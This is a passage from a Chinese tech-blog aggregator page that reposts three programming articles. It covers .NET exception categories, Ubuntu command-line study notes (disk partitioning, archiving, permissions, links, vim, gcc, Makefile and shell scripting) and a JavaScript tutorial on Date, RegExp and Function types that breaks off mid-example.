抛出其内部异常。详见:使用 ExceptionDispatchInfo 捕捉并重新抛出异常 - walterlv。 异常的分类 在 该不该引发异常 小节中我们说到一个异常会被引发,是因为某个方法声称的任务没有成功完成(失败),而失败的原因有四种: 方法的使用者用错了(没有按照方法的契约使用) 方法的执行代码写错了 方法执行时所在的环境不符合预期 简单说来,就是:使用错误,实现错误、环境错误。 使用错误: ArgumentException 表示参数使用错了 ArgumentNullException 表示参数不应该传入 null ArgumentOutOfRangeException 表示参数中的序号超出了范围 InvalidEnumArgumentException 表示参数中的枚举值不正确 InvalidOperationException 表示当前状态下不允许进行此操作(也就是说存在着允许进行此操作的另一种状态) ObjectDisposedException 表示对象已经 Dispose 过了,不能再使用了 NotSupportedException 表示不支持进行此操作(这是在说不要再试图对这种类型的对象调用此方法了,不支持) PlatformNotSupportedException 表示在此平台下不支持(如果程序跨平台的话) NotImplementedException 表示此功能尚在开发中,暂时请勿使用 实现错误: 前面由 CLR 抛出的异常代码主要都是实现错误 NullReferenceException 试图在空引用上执行某些方法,除了告诉实现者出现了意料之外的 null 之外,没有什么其它价值了 IndexOutOfRangeException 使用索引的时候超出了边界 InvalidCastException 表示试图对某个类型进行强转但类型不匹配 StackOverflow 表示栈溢出,这通常说明实现代码的时候写了不正确的显式或隐式的递归 OutOfMemoryException 表示托管堆中已无法分出期望的内存空间,或程序已经没有更多内存可用了 AccessViolationException 这说明使用非托管内存时发生了错误 BadImageFormatException 这说明了加载的 dll 并不是期望中的托管 dll TypeLoadException 表示类型初始化的时候发生了错误 环境错误: IOException 下的各种子类 Win32Exception 下的各种子类 …… 另外,还剩下一些不应该抛出的异常,例如过于抽象的异常和已经过时的异常,这在前面一小结中有说明。 其他 一些常见异常的原因和解决方法 在平时的开发当中,你可能会遇到这样一些异常,它不像是自己代码中抛出的那些常见的异常,但也不包含我们自己的异常堆栈。 这里介绍一些常见这些异常的原因和解决办法。 AccessViolationException 当出现此异常时,说明非托管内存中发生了错误。如果要解决问题,需要从非托管代码中着手调查。 这个异常是访问了不允许的内存时引发的。在原因上会类似于托管中的 NullReferenceException。 参考资料 Handling and throwing exceptions in .NET - Microsoft Docs Exceptions and Exception Handling - C Programming Guide - Microsoft Docs 我的博客会首发于 https://blog.walterlv.com/,而 CSDN 会从其中精选发布,但是一旦发布了就很少更新。 如果在博客看到有任何不懂的内容,欢迎交流。我搭建了 dotnet 职业技术学院 欢迎大家加入。 本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。欢迎转载、使用、重新发布,但务必保留文章署名吕毅(包含链接:https://walterlv.blog.csdn.net/),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。如有任何疑问,请与我联系。 本篇文章为转载内容。原文链接:https://blog.csdn.net/WPwalter/article/details/94610764。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-13 13:38:26
60
转载
转载文章
...挂载后中文显示乱码的解决方法 sudo mount -o iocharset=utf8 /dev/sdb1 udisk – 磁盘的分区和格式化 sudo fdisk -l /dev/sdb 查看所有分区信息(–help查看别的用法) sudo fdisk /dev/sdb1 ----> m ( 进入帮助 ) ----> d 删除该分区 ----> wq 保存并退出 mkfs -t vfat /dev/sdb1 mkfs -t vfat /dev/sdb2 mkfs -t vfat /dev/sdb3 给分区1,2,3分别格式化,完成后能在图形界面看见三个u盘图标 格式化u盘之前一定要先卸载u盘已经挂载的系统。 – 压缩和解压缩 linux下常用的压缩扩展名: .tar .tar.bz2 .tar.gz 后两个linux常用 windows下面用7zip软件 右键选中文件,选择7zip,添加到压缩包,压缩格式选择tar,仅存储 生成tar文件,这里只是打包,没有压缩 右键上面的tar文件,选择7zip,添加到压缩包,压缩格式选择bzip2,确定 生成.tar.bz2文件,把它放到ubuntu解压 ubuntu也支持解压.tar和.zip,但后面两个常用 – ubuntu下面的压缩工具时gzip 压缩文件 gzip 文件名:压缩文件,变成 原文件名.gz,原来的文件就不见了 解压缩文件 gzip -d .gz:还原 文件 gzip -r 目录:递归,将该目录里的各个文件压缩,不提供打包服务 – bzip2工具负责压缩和解压缩.bz2格式的压缩包 bzip2 -z 文件名,压缩成 文件名.bz2 bzip2 -d 文件名.bz2,解压缩成 文件名 bzip2不能压缩/解压缩 目录 – 打包工具 tar 常用参数 -f:使用归档文件(必须要在所有选项后面) -c:创建一个新归档 -x:从归档中解出文件 -j:使用bzip2压缩格式 -z:使用gzip压缩格式 -v:打印出命令执行过程 如以bzip2格式压缩,打包 tar -vcjf 目录名.tar.bz2 目录名 如将上面的压缩包解包 tar -vxjf 目录名.tar.bz2 – 其他压缩工具 rar工具 sudo apt-get install rar(用dhcp连不上阿里云的镜像) rar a test.rar test 把test压缩成test.rar rar x test.rar 把test.rar解压缩成test – zip工具 压缩 zip -rv test.zip test 解压缩 unzip test.zip – ubuntu的用户和用户组 linux是多用户的os,不同的用户有不同的权限,可以查看和操作不同的文件 有三种用户 1、初次用户 2、root用户 3、普通用户 root用户可以创建普通用户 linux用户记录在/etc/passwd这个文件内 linux用户密码记录在/etc/shadow这个文件内,不是以明文记录的 每个用户都有一个id,叫做UID – linux用户组 为了方便管理,将用户进行分组,每个用户可以属于多个组 可以设置非本组人员不能访问一些文件 用户和用户组的存在就是为了控制文件的访问权限的 每个用户组都有一个ID,叫做GID 用户组信息存储在/etc/group中 passwd 用户名:修改该用户的密码 – ubuntu文件权限 ls -al 文件名 如以b开头: -brwx - rwx - rwx -:b表示 块文件,设备文件里面可供存储的周边设备 以d开头是目录 以b是块设备文件 以-开头是普通文件 以 l 开头表示软连接文件 以c开头是设备文件里的串行端口设备 -rwx - rwx - rwx -:用户权限,用户组内其他成员,其它组用户 数字 1 表示链接数,包括软链接和硬链接 第三列 jl 表示文件的拥有者 第四列 jl 表示文件的用户组 第五列 3517 表示这个文件的大小,单位是字节 ls -l 显示的文件大小单位是字节 ls -lh 现实的文件大小单位是 M / G 第六七八列是最近修改时间 最后一列是文件名 – 修改文件权限命令 chmod 777 文件名 修改文件所属用户 sudo chown root 文件 修改文件用户组 sudo chown .root 文件 同时修改文件用户和用户组 sudo chown jl.jl 文件 修改目录的用户/用户组 sudo chown -r jl.jl 目录( root.root ) – linux连接文件 1、硬连接 2、符号连接(软连接) linux有两种连接文件,软连接/符号连接,硬连接 符号连接类似于windows下面的快捷方式 硬连接通过文件系统的inode连接来产生新文件名,而不是产生新文件 inode:记录文件属性,一个文件对应一个inode, inode相当于文件ID 查找文件要先找到inode,然后才能读到文件内容 – ln 命令用于创建连接文件 ln 【选项】源文件 目标文件 不加选项就是默认创建硬连接 -s 创建软连接 -f 强制创建连接文件,如果目标存在,就先删掉目标文件,再创建连接文件 – 硬连接:多个文件都指向同一个inode 具有向inode的多个文件互为硬连接文件,创建硬连接相当于文件实体多了入口 只有删除了源文件、和它所有的硬连接文件,晚间实体才会被删除 可以给文件创建硬连接来防止文件误删除 改了源文件还是硬连接文件,另一个文件的数据都会被改变 硬连接不能跨文件系统(另一个格式的u盘中的文件) 硬连接不能连接到目录 出于以上原因,硬连接不常用 ls -li:此时第一列显示的就是每个文件的inode – 软连接/符号连接 类似windows下面的快捷方式 使用较多 软连接相当于串联里一个独立的文件,该文件会让数据读取指向它连接的文件 ln -s 源文件 目标文件 特点: 可以连接到目录 可以跨文件系统 删除源文件,软连接文件也打不开了 软连接文件通过 “ -> ” 来指示具体的连接文件(ls -l) 创建软连接的时候,源文件一定要使用绝对路径给出,(硬连接无此要求) 软连接文件直接用cp复制到别的目录下,软连接文件就会变成实体文件,就算你把源文件删掉,该文件还是有效 正确的复制、移动软连接的用法是:cp -d 如果不用绝对路径,cp -d 软连接文件到别的目录,该软连接文件就会变红,失效 如果用了绝对路径,cp -d 软连接文件到别的目录,该软连接文件还是有效的,还是软连接文件 不用绝对路径,一拷贝就会出问题 – 软连接一个目录,也是可以用cp -d复制到其他位置的 – gedit 是基于图形界面的 vim有三种模式: 1、一般模式:默认模式,用vim打开一个文件就自动进入这个模式 2、编辑模式:按 i,a等进入,按esc回到一般模式 3、命令行/底行模式:在一般模式下输入:/ ?可进入命令行模式 ,按esc回到一般模式 一般模式下,dd删除光标所在的一整行; ndd,删除掉光标所在行和下面的一共n行 点 . 重复上一个操作 yy复制光标所在行 小p复制到光标下一行 大p复制到光标上一行n nyy复制光标所在往下n行 设置vim里的tab是四个空格:在/etc/vim/vimrc里面添加:set ts=4 设置vim中显示行号:在上面那个文件里添加:set nu – vscode是编辑器 gcc能编译汇编,c,cpp 电脑上的ubuntu自带的gcc用来编译x86架构的程序,而嵌入式设备的code要用针对于该芯片架构如arm的gcc编译器,又叫做交叉编译器(在一种架构的电脑上编译成另一种架构的代码) gcc -c 源文件:只编译不链接,编译成.o文件 -o 输出文件名( 默认名是 .out ) -O 对程序进行优化编译,这样产生的可执行文件执行效率更高 -O2:比-O幅度更大的优化,但编译速度会很慢 -v:显示编译的过程 gcc main.c 输出main.out的可执行文件 预处理 --> 编译 --> 汇编 --> 链接 – makefile里第一个目标默认是终极目标 其他目标的顺序可以变 makefile中的变量都是字符串 变量的引用方法 : $ ( 变量名 ) – Makefile中执行shell命令默认会把命令本身打印出来 如果在shell命令前加 @ ,那么shell’命令本身就不会被打印 – 赋值符:= 变量的有效值取决于他最后一次被赋值的值 : = 赋值时右边的值只是用前面已经定义好的,不会使用后面的 ?= 如果左边的前面没有被赋值,那么在这里赋值,佛则就用前面的赋值 + = 左边前面已经复制了一些字串,在这里添加右边的内容,用空格隔开 – 模式规则 % . o : % . c %在这里意思是通配符,只能用于模式规则 依赖中 % 的内容取决于目标 % 的内容 – CFLAGS:指定头文件的位置 LDFLAGS:用于优化参数,指定库文件的位置 LIBS:告诉链接器要链接哪些库文件 VPATH:特殊变量,指定源文件的位置,冒号隔开,按序查找源文件 vpath:关键字,三种模式,指定、清除 – 自动化变量 $ @ 规则中的目标集合 $ % 当目标是函数库的时候,表示规则中的目标成员名 $ < 依赖文件集合中的第一个文件,如果依赖文件是以 % 定义的,那么 $ < 就是符合模式的一系列文件的集合 $ ? 所有比目标新的依赖文件的集合,以空格分开 $ ^ 所有依赖文件的集合,用空格分开,如果有重复的依赖文件,只保留一次 $ + 和 $ ^ 类似,但有多少重复文件都会保留 $ 表明目标模式中 % 及其以前的部分 如果目标是 test/a.test.c,目标模式是 a.%.c,那么 $ 就表示 test/a.test – 常用的是 $@ , $< , $^ – Makefile的伪目标 不生成目标文件,只是执行它下面的命令 如果被错认为是文件,由于伪目标一般没有依赖,那么目标就被认为是最新的,那么它下面的命令就不会执行 。 如果目录下有同名文件,伪目标错认为是该文件,由于没有依赖,伪目标下面的指令不会被执行 伪目标声明方法 .PHONY : clean 那么就算目录下有伪目标同名文件,伪目标也同样会执行 – 条件判断 ifeq ifneq ifdef ifndef – makefile函数使用 shell脚本 类似于windoes的批处理文件 将连续执行的命令写成一个文件 shell脚本可以提供数组,循环,条件判断等功能 开头必须是:!/bin/bash 表示使用bash 脚本的扩展名:.sh – 交互式shell 有输入有输出 输入:read 第三行 name在这里作为变量,read输入这个变量 下一行使用这个变量直接是 $name,不用像 Makefile 里面那样子加括号 read -p “读取前你想打印的内容” 变量1 变量2 变量3… – 数值计算 第五行等于号两边不能有空格 右边计算的时候是 $( ( ) ),注意要两个括号 – test 测试命令 文件状态查询,字符、数字比较 && cmd1 && cmd2 当cmd1执行完并且正确,那么cmd2也执行 当cmd2执行完并且错误,那么cmd2不执行 || cmd1 || cmd2 当cmd1执行完并且正确,那么cmd2不执行 当cmd2执行完并且错误,那么cmd2也执行 查看一个文件是否存在 – 测试两个字符串是否相等 ==两边必须要有空格,如果不加空格,test这句就一直是对的。 – 中括号判断符 [ ] 作用和test类似 里面只能输入 == 或者 != 四个箭头所指必须用空格隔开 而且如果变量是字符串的话,一定要加双引号 – 默认变量 $0——shell脚本本身的命令 $——最后一个参数的标号(1,2,3,4…) $@——表示 $1 , $2 , $3 … $1 $2 $3 – shell 脚本的条件判断 if [ 条件判断 ];then //do something fi 红点处都要加空格 exit 0——表示退出 – if 条件判断;then //do something elif 条件判断;them //do something else //do something fi 红线处要加空格 – case 语句 case $var in “第一个变量的内容”) //do something ;; “第二个变量的内容”) // do something ;; . . . “第n个变量的内容”) //do something ;; esac 不能用 “”,否则就不是通配符的意思,而是表示字符 – shell 脚本函数 function fname(){ //函数代码段 } 其中function可以写也可以不写 调用函数的时候不要加括号 shell 脚本函数传参方式 – shell 循环 while[条件] //括号内的状态是判断式 do //循环代码段 done – until [条件] do //循环代码段 done – for循环,使用该循环可以知道有循环次数 for var con1 con2 con3 … … do //循环代码段 done – for 循环数值处理 for((初始值;限制值;执行步长)) do //循环代码段 done – 红点处必须要加空格!! loop 环 – – 注意变量有的地方用了 $ ,有的地方不需要 $ 这里的赋值号两边都不用加 空格 $(())数值运算 本篇文章为转载内容。原文链接:https://blog.csdn.net/engineer0/article/details/107965908。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-23 17:18:30
81
转载
转载文章
....UTC()参数传递错误,那么就会出现负值或者 NaN 等非法信息。 alert(Date.UTC()); // 负值或者 NaN 如果要输出指定日期,那么直接把 Date.UTC()传入 Date 构造方法里即可。 var box = new Date(Date.UTC(2011,11, 5, 15, 13, 16)); 通用的方法 与其他类型一样,Date 类型也重写了 toLocaleString()、toString()和 valueOf()方法;但这些方法返回值与其他类型中的方法不同。 var box = new Date(Date.UTC(2011,11, 5, 15, 13, 16));alert('toString:' + box.toString());alert('toLocaleString:' + box.toLocaleString()); // 按本地格式输出 这两个方法在不同浏览器显示的效果又不一样,但不用担心,这两个方法只是在调试比较有用,在显示时间和日期上,没什么价值。valueOf()方法显示毫秒数。 日期格式化方法 Date 类型还有一些专门用于将日期格式化为字符串的方法。 var box = new Date();alert(box.toDateString()); // 以特定的格式显示星期几、月、日和年alert(box.toTimeString()); // 以特定的格式显示时、分、秒和时区alert(box.toLocaleDateString()); // 以特定地区格式显示星期几、月、日和年alert(box.toLocaleTimeString()); // 以特定地区格式显示时、分、秒和时区alert(box.toUTCString()); // 以特定的格式显示完整的 UTC 日期 组件方法 组件方法,是为我们单独获取你想要的各种时间/日期而提供的方法。需要注意的时候 ,这些方法中,有带 UTC 的,有不带 UTC 的。UTC 日期指的是在没有时区偏差的情况下的日期值。 alert(box.getTime()); // 获取日期的毫秒数,和 valueOf()返回一致alert(box.setTime(100)); // 以毫秒数设置日期,会改变整个日期alert(box.getFullYear()); // 获取四位年份alert(box.setFullYear(2012)); // 设置四位年份,返回的是毫秒数alert(box.getMonth()); // 获取月份,没指定月份,从 0 开始算起alert(box.setMonth(11)); // 设置月份alert(box.getDate()); // 获取日期alert(box.setDate(8)); // 设置日期,返回毫秒数alert(box.getDay()); // 返回星期几,0 表示星期日,6 表示星期六alert(box.setDay(2)); // 设置星期几alert(box.getHours()); // 返回时alert(box.setHours(12)); // 设置时alert(box.getMinutes()); // 返回分钟alert(box.setMinutes(22)); // 设置分钟alert(box.getSeconds()); // 返回秒数alert(box.setSeconds(44)); // 设置秒数alert(box.getMilliseconds()); // 返回毫秒数alert(box.setMilliseconds()); // 设置毫秒数alert(box.getTimezoneOffset()); // 返回本地时间和 UTC 时间相差的分钟数 以上方法除了 getTimezoneOffset(),其他都具有 UTC 功能,例如 setDate()及 getDate()获取星期几,那么就会有 setUTCDate()及getUTCDate(),表示世界协调时间。 2、正则表达式 假设用户需要在 HTML 表单中填写姓名、地址、出生日期等。那么在将表单提交到服务器进一步处理前,JavaScript 程序会检查表单以确认用户确实输入了信息并且这些信息是符合要求的。 什么是正则表达式 正则表达式(regular expression)是一个描述字符模式的对象。ECMAScript 的 RegExp 类表示正则表达式,而 String 和 RegExp 都定义了使用正则表达式进行强大的模式匹配和文本检索与替换的函数。 正则表达式主要用来验证客户端的输入数据。用户填写完表单单击按钮之后,表单就会被发送到服务器,在服务器端通常会用 PHP、ASP.NET 等服务器脚本对其进行进一步处理 。因为客户端验证,可以节约大量的服务器端的系统资源,并且提供更好的用户体验。 创建正则表达式 创建正则表达式和创建字符串类似,创建正则表达式提供了两种方法,一种是采用 new 运算符,另一个是采用字面量方式。 两种创建方式 var box = new RegExp('box'); // 第一个参数字符串var box = new RegExp('box', 'ig'); // 第二个参数可选模式修饰符 模式修饰符的可选参数 参数 含义 i 忽略大小写 g 全局匹配 m 多行匹配 var box = /box/; // 直接用两个反斜杠var box = /box/ig; // 在第二个斜杠后面加上模式修饰符 测试正则表达式 RegExp 对象包含两个方法:test()和 exec(),功能基本相似,用于测试字符串匹配。test()方法在字符串中查找是否存在指定的正则表达式并返回布尔值,如果存在则返回 true,不存在则返回 false。exec()方法也用于在字符串中查找指定正则表达式,如果 exec()方法执行成功,则返回包含该查找字符串的相关信息数组。如果执行失败,则返回 null。 RegExp 对象的方法 方法 功能 test 在字符串中测试模式匹配,返回 true 或 false exec 在字符串中执行匹配搜索,返回结果数组 // 使用 new 运算符的 test 方法示例var pattern = new RegExp('box', 'i'); // 创建正则模式,不区分大小写var str = 'This is a Box!'; // 创建要比对的字符串alert(pattern.test(str)); // 通过 test()方法验证是否匹配// 使用字面量方式的 test 方法示例var pattern = /box/i; // 创建正则模式,不区分大小写var str = 'This is a Box!';alert(pattern.test(str));// 使用一条语句实现正则匹配alert(/box/i.test('This is a Box!')); // 模式和字符串替换掉了两个变量// 使用 exec 返回匹配数组var pattern = /box/i;var str = 'This is a Box!';alert(pattern.exec(str)); // 匹配了返回数组,否则返回 null 使用字符串的正则表达式方法 除了 test()和 exec()方法,String 对象也提供了 4 个使用正则表达式的方法。 String 对象中的正则表达式方法 方法 含义 match(pattern) 返回 pattern 中的子串或 null replace(pattern, replacement) 用 replacement 替换 pattern search(pattern) 返回字符串中 pattern 开始位置 split(pattern) 返回字符串按指定 pattern 拆分的数组 // 使用 match 方法获取获取匹配数组var pattern = /box/ig; // 全局搜索var str = 'This is a Box!,That is a Box too';alert(str.match(pattern)); // 匹配到两个 Box,Boxalert(str.match(pattern).length); // 获取数组的长度// 使用 search 来查找匹配数据var pattern = /box/ig;var str = 'This is a Box!,That is a Box too';alert(str.search(pattern)); // 查找到返回位置,否则返回-1 因为 search 方法查找到即返回,也就是说无需 g 全局。 // 使用 replace 替换匹配到的数据var pattern = /box/ig;var str = 'This is a Box!,That is a Box too';alert(str.replace(pattern, 'Tom')); // 将 Box 替换成了 Tom// 使用 split 拆分成字符串数组var pattern = / /ig;var str = 'This is a Box!,That is a Box too';alert(str.split(pattern)); // 将空格拆开分组成数组 RegExp 对象的静态属性 属性 短名 含义 input $_ 当前被匹配的字符串 lastMatch $& 最后一个匹配字符串 lastParen $+ 最后一对圆括号内的匹配子串 leftContext $ 最后一次匹配前的子串 multiline $ 用于指定是否所有的表达式都用于多行的布尔值 rightContext $’ 在上次匹配之后的子串 // 使用静态属性var pattern = /(g)oogle/;var str = 'This is google!';pattern.test(str); // 执行一下alert(RegExp.input); // This is google!alert(RegExp.leftContext); // This isalert(RegExp.rightContext); // !alert(RegExp.lastMatch); // googlealert(RegExp.lastParen); // galert(RegExp.multiline); // false Opera 不支持 input、lastMatch、lastParen 和 multiline 属性。IE 不支持 multiline 属性。所有的属性可以使用短名来操作。RegExp.input 可以改写成 RegExp['$_'],依次类推。但 RegExp.input 比较特殊,它还可以写成 RegExp.$_。 RegExp 对象的实例属性 属性 含义 global Boolean 值,表示 g 是否已设置 ignoreCase Boolean 值,表示 i 是否已设置 lastIndex 整数,代表下次匹配将从哪里字符位置开始 multiline Boolean 值,表示 m 是否已设置 Source 正则表达式的源字符串形式 // 使用实例属性var pattern = /google/ig;alert(pattern.global); // true,是否全局了alert(pattern.ignoreCase); // true,是否忽略大小写alert(pattern.multiline); // false,是否支持换行alert(pattern.lastIndex); // 0,下次的匹配位置alert(pattern.source); // google,正则表达式的源字符串var pattern = /google/g;var str = 'google google google';pattern.test(str); // google,匹配第一次alert(pattern.lastIndex); // 6,第二次匹配的位 以上基本没什么用。并且 lastIndex 在获取下次匹配位置上 IE 和其他浏览器有偏差 ,主要表现在非全局匹配上。lastIndex 还支持手动设置,直接赋值操作。 获取控制 正则表达式元字符是包含特殊含义的字符。它们有一些特殊功能,可以控制匹配模式的方式。反斜杠后的元字符将失去其特殊含义。 字符类:单个字符和数字 元字符/元符号 匹配情况 . 匹配除换行符外的任意字符 [a-z0-9] 匹配括号中的字符集中的任意字符 [^a-z0-9] 匹配任意不在括号中的字符集中的字符 \d 匹配数字 \D 匹配非数字,同[^0-9]相同 \w 匹配字母和数字及_ \W 匹配非字母和数字及_ 字符类:空白字符 元字符/元符号 匹配情况 \0 匹配 null 字符 \b 匹配空格字符 \f 匹配进纸字符 \n 匹配换行符 \r 匹配回车字符 \t 匹配制表符 \s 匹配空白字符、空格、制表符和换行符 \S 匹配非空白字符 字符类:锚字符 元字符/元符号 匹配情况 ^ 行首匹配 $ 行尾匹配 \A 只有匹配字符串开始处 \b 匹配单词边界,词在[]内时无效 \B 匹配非单词边界 \G 匹配当前搜索的开始位置 \Z 匹配字符串结束处或行尾 \z 只匹配字符串结束处 字符类:重复字符 元字符/元符号 匹配情况 x? 匹配 0 个或 1 个 x x 匹配 0 个或任意多个 x x+ 匹配至少一个 x (xyz)+ 匹配至少一个(xyz) x{m,n} 匹配最少 m 个、最多 n 个 x 字符类:替代字符 元字符/元符号 匹配情况 this where 字符类:记录字符 元字符/元符号 匹配情况 (string) 用于反向引用的分组 \1 或$1 匹配第一个分组中的内容 \2 或$2 匹配第二个分组中的内容 \3 或$3 匹配第三个分组中的内容 // 使用点元字符var pattern = /g..gle/; // .匹配一个任意字符var str = 'google';alert(pattern.test(str));// 重复匹配var pattern = /g.gle/; // .匹配 0 个一个或多个var str = 'google'; //,?,+,{n,m}alert(pattern.test(str));// 使用字符类匹配var pattern = /g[a-zA-Z_]gle/; // [a-z]表示任意个 a-z 中的字符var str = 'google';alert(pattern.test(str));var pattern = /g[^0-9]gle/; // [^0-9]表示任意个非 0-9 的字符var str = 'google';alert(pattern.test(str));var pattern = /[a-z][A-Z]+/; // [A-Z]+表示 A-Z 一次或多次var str = 'gOOGLE';alert(pattern.test(str));// 使用元符号匹配var pattern = /g\wgle/; // \w匹配任意多个所有字母数字_var str = 'google';alert(pattern.test(str));var pattern = /google\d/; // \d匹配任意多个数字var str = 'google444';alert(pattern.test(str));var pattern = /\D{7,}/; // \D{7,}匹配至少 7 个非数字var str = 'google8';alert(pattern.test(str));// 使用锚元字符匹配var pattern = /^google$/; // ^从开头匹配,$从结尾开始匹配var str = 'google';alert(pattern.test(str));var pattern = /goo\sgle/; // \s 可以匹配到空格var str = 'goo gle';alert(pattern.test(str));var pattern = /google\b/; // \b 可以匹配是否到了边界var str = 'google';alert(pattern.test(str));// 使用或模式匹配var pattern = /google|baidu|bing/; // 匹配三种其中一种字符串var str = 'google';alert(pattern.test(str));// 使用分组模式匹配var pattern = /(google){4,8}/; // 匹配分组里的字符串 4-8 次var str = 'googlegoogle';alert(pattern.test(str));var pattern = /8(.)8/; // 获取 8..8 之间的任意字符var str = 'This is 8google8';str.match(pattern);alert(RegExp.$1); // 得到第一个分组里的字符串内容var pattern = /8(.)8/;var str = 'This is 8google8';var result = str.replace(pattern,'<strong>$1</strong>'); // 得到替换的字符串输出document.write(result);var pattern = /(.)\s(.)/;var str = 'google baidu';var result = str.replace(pattern, '$2 $1'); // 将两个分组的值替换输出document.write(result); 贪婪 惰性 + +? ? ?? ? {n} {n}? {n,} {n,}? {n,m} {n,m}? // 关于贪婪和惰性var pattern = /[a-z]+?/; // ?号关闭了贪婪匹配,只替换了第一个var str = 'abcdefjhijklmnopqrstuvwxyz';var result = str.replace(pattern, 'xxx');alert(result);var pattern = /8(.+?)8/g; // 禁止了贪婪,开启的全局var str = 'This is 8google8, That is 8google8, There is 8google8';var result = str.replace(pattern,'<strong>$1</strong>');document.write(result);var pattern = /8([^8])8/g; // 另一种禁止贪婪var str = 'This is 8google8, That is 8google8, There is 8google8';var result = str.replace(pattern,'<strong>$1</strong>');document.write(result);// 使用 exec 返回数组var pattern = /^[a-z]+\s[0-9]{4}$/i;var str = 'google 2012';alert(pattern.exec(str)); // 返回整个字符串var pattern = /^[a-z]+/i; // 只匹配字母var str = 'google 2012';alert(pattern.exec(str)); // 返回 googlevar pattern = /^([a-z]+)\s([0-9]{4})$/i; // 使用分组var str = 'google 2012';alert(pattern.exec(str)[0]); // google 2012alert(pattern.exec(str)[1]); // googlealert(pattern.exec(str)[2]); // 2012// 捕获性分组和非捕获性分组var pattern = /(\d+)([a-z])/; // 捕获性分组var str = '123abc';alert(pattern.exec(str));var pattern = /(\d+)(?:[a-z])/; // 非捕获性分组var str = '123abc';alert(pattern.exec(str));// 使用分组嵌套var pattern = /(A?(B?(C?)))/; // 从外往内获取var str = 'ABC';alert(pattern.exec(str));// 使用前瞻捕获var pattern = /(goo(?=gle))/; // goo 后面必须跟着 gle 才能捕获var str = 'google';alert(pattern.exec(str));// 使用特殊字符匹配var pattern = /\.\[\/b\]/; // 特殊字符,用\符号转义即可var str = '.[/b]';alert(pattern.test(str));// 使用换行模式var pattern = /^\d+/mg; // 启用了换行模式var str = '1.baidu\n2.google\n3.bing';var result = str.replace(pattern, '');alert(result); 常用的正则 检查邮政编码 var pattern = /[1-9][0-9]{5}/; // 共 6 位数字,第一位不能为 0var str = '224000';alert(pattern.test(str)); 检查文件压缩包 var pattern = /[\w]+\.zip|rar|gz/; // \w 表示所有数字和字母加下划线var str = '123.zip'; // \.表示匹配.,后面是一个选择alert(pattern.test(str)); 删除多余空格 var pattern = /\s/g; // g 必须全局,才能全部匹配var str = '111 222 333';var result = str.replace(pattern,''); // 把空格匹配成无空格alert(result); 删除首尾空格 var pattern = /^\s+/; // 强制首var str = ' goo gle ';var result = str.replace(pattern, '');pattern = /\s+$/; // 强制尾result = result.replace(pattern, '');alert('|' + result + '|');var pattern = /^\s(.+?)\s$/; // 使用了非贪婪捕获var str = ' google ';alert('|' + pattern.exec(str)[1] + '|');var pattern = /^\s(.+?)\s$/;var str = ' google ';alert('|' + str.replace(pattern, '$1') + '|'); // 使用了分组获取 简单的电子邮件验证 var pattern = /^([a-zA-Z0-9_\.\-]+)@([a-zA-Z0-9_\.\-]+)\.([a-zA-Z]{2,4})$/;var str = 'yc60.com@gmail.com';alert(pattern.test(str));var pattern = /^([\w\.\-]+)@([\w\.\-]+)\.([\w]{2,4})$/;var str = 'yc60.com@gmail.com';alert(pattern.test(str)); 3、Function类型 在 ECMAScript 中,Function(函数)类型实际上是对象。每个函数都是 Function 类型的实例,而且都与其他引用类型一样具有属性和方法。由于函数是对象,因此函数名实际上也是一个指向函数对象的指针。 函数的声明方式 普通的函数声明 function box(num1, num2) {return num1+ num2;} 使用变量初始化函数 var box= function(num1, num2) {return num1 + num2;}; 使用 Function 构造函数 var box= new Function('num1', 'num2' ,'return num1 + num2'); 第三种方式我们不推荐,因为这种语法会导致解析两次代码(第一次解析常规 ECMAScript 代码,第二次是解析传入构造函数中的字符串),从而影响性能。但我们可以通过这种语法来理解"函数是对象,函数名是指针"的概念。 作为值的函数 ECMAScript 中的函数名本身就是变量,所以函数也可以作为值来使用。也就是说,不仅可以像传递参数一样把一个函数传递给另一个函数,而且可以将一个函数作为另一个函数的结果返回。 function box(sumFunction, num) {return sumFunction(num); // someFunction}function sum(num) {return num + 10;}var result = box(sum, 10); // 传递函数到另一个函数里 函数内部属性 在函数内部,有两个特殊的对象:arguments 和 this。arguments 是一个类数组对象,包含着传入函数中的所有参数,主要用途是保存函数参数。但这个对象还有一个名叫 callee 的属性,该属性是一个指针,指向拥有这个 arguments 对象的函数。 function box(num) {if (num <= 1) {return 1;} else {return num box(num-1); // 一个简单的的递归} } 对于阶乘函数一般要用到递归算法,所以函数内部一定会调用自身;如果函数名不改变是没有问题的,但一旦改变函数名,内部的自身调用需要逐一修改。为了解决这个问题,我们可以使用 arguments.callee 来代替。 function box(num) {if (num <= 1) {return 1;} else {return num arguments.callee(num-1); // 使用 callee 来执行自身} } 函数内部另一个特殊对象是 this,其行为与 Java 和 C中的 this 大致相似。换句话说 ,this 引用的是函数据以执行操作的对象,或者说函数调用语句所处的那个作用域。当在全局作用域中调用函数时,this 对象引用的就是 window。 // 便于理解的改写例子window.color = '红色的'; // 全局的,或者 var color = '红色的';也行alert(this.color); // 打印全局的 colorvar box = {color : '蓝色的', // 局部的 colorsayColor : function () {alert(this.color); // 此时的 this 只能 box 里的 color} };box.sayColor(); // 打印局部的 coloralert(this.color); // 还是全局的// 引用教材的原版例子window.color = '红色的'; // 或者 var color = '红色的';也行var box = {color : '蓝色的'};function sayColor() {alert(this.color); // 这里第一次在外面,第二次在 box 里面}getColor();box.sayColor = sayColor; // 把函数复制到 box 对象里,成为了方法box.sayColor(); 函数属性和方法 ECMAScript 中的函数是对象,因此函数也有属性和方法。每个函数都包含两个属性 :length 和 prototype。其中,length 属性表示函数希望接收的命名参数的个数。 function box(name, age) {alert(name + age);}alert(box.length); // 2 对于 prototype 属性,它是保存所有实例方法的真正所在,也就是原型。这个属性 ,我们将在面向对象一章详细介绍。而 prototype 下有两个方法:apply()和 call(),每个函数都包含这两个非继承而来的方法。这两个方法的用途都在特定的作用域中调用函数,实际上等于设置函数体内 this 对象的值。 function box(num1, num2) {return num1 + num2; // 